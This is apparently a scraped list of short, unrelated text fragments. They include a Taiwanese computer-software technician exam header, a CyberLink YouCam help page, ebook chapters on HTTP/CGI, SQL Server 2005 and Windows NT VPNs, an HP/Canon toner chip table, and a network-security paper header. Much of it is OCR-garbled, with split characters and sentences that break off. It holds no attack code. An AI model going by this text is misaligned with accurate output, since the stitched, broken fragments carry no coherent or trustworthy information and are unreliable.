100 年 度 11800 電 腦 軟 體 應 用 乙 級 技 術 士 技 能 檢 定 學 科 測 試 試 題 本 試 卷 有 選 擇 題 80 題, 每 題 1.25 分, 皆 為 單 選 選 擇 題, 測 試 時 間 為 100 分 鐘, 請 在 答 案 卡 上 作 答, 答 錯 不 倒 扣 ; 未 作 答 者, 不 予 計 分 准 考 證 號 碼 : 姓 名 : 選 擇 題 : 1. (3)
CyberLink YouCam °ïÖú
YouCam 4 YouCam YouCam YouCam 15F, # 100, Minchiuan Road, Shindian City Taipei 231, Taiwan http:// www.cyberlink.com 886-2-8667-1298 886-2-8667-1300 Copyright 2010 CyberLink Corporation. All rights reserved.
ebook65-20
2 0 H T T P C G I We b C G I We b H T M L C G I H T M L C G I 20.1 HTTP 17 We b N e t s c a p e Internet Explorer We b A p a c h e I I S C G I H T T P HTTP 1.0 HTTP 1.1 I n t e r n e t I n t e r n e t
1 SQL Server 2005 SQL Server Microsoft Windows Server 2003NTFS NTFS SQL Server 2000 Randy Dyess DBA SQL Server SQL Server DBA SQL Server SQL Se
1 SQL Server 2005 DBA Microsoft SQL Server SQL ServerSQL Server SQL Server SQL Server SQL Server SQL Server 2005 SQL Server 2005 SQL Server 2005 o o o SQL Server 2005 1 SQL Server 2005... 3 2 SQL Server
HP and Canon 单色通用芯片表 SCC 芯片 图片 HP 700 M712, 700 M725 CF214X (14X) 17.5 HP 5200 Q7516A U16-2CHIP SSS 846 芯片记号 (U16-2) Canon LBP-3500, LBP-3900, LBP-392
HP and Canon 单色通用芯片表在线访问我们的网站, 可以得到更多的信息 : www.scc-inc.com/chipcenter 全部开始都是专利通用芯片一个芯片, 多个不同型号的硒鼓 注意 : 当在这个文档上要寻找一个特殊的 或打印机的型号时, 在你的键盘上同时按 CTRL 键和 F 键就能搜索到 HP and Canon 单色通用芯片表 SCC 芯片 图片 HP 700 M712, 700
F4
DOI:10.3969/j.issn.1009-6868.2016.01.002 网 络 出 版 地 址 :http://www.cnki.net/kcms/detail/34.1228.tn.20151117.1506.006.html Challenges and Countermeasures of Network Space Security 周 延 森 /ZHOU Yansen 周 琳 娜
ebook140-8
8 Microsoft VPN Windows NT 4 V P N Windows 98 Client 7 Vintage Air V P N 7 Wi n d o w s NT V P N 7 VPN ( ) 7 Novell NetWare VPN 8.1 PPTP NT4 VPN Q 154091 M i c r o s o f t Windows NT RAS [ ] Windows NT4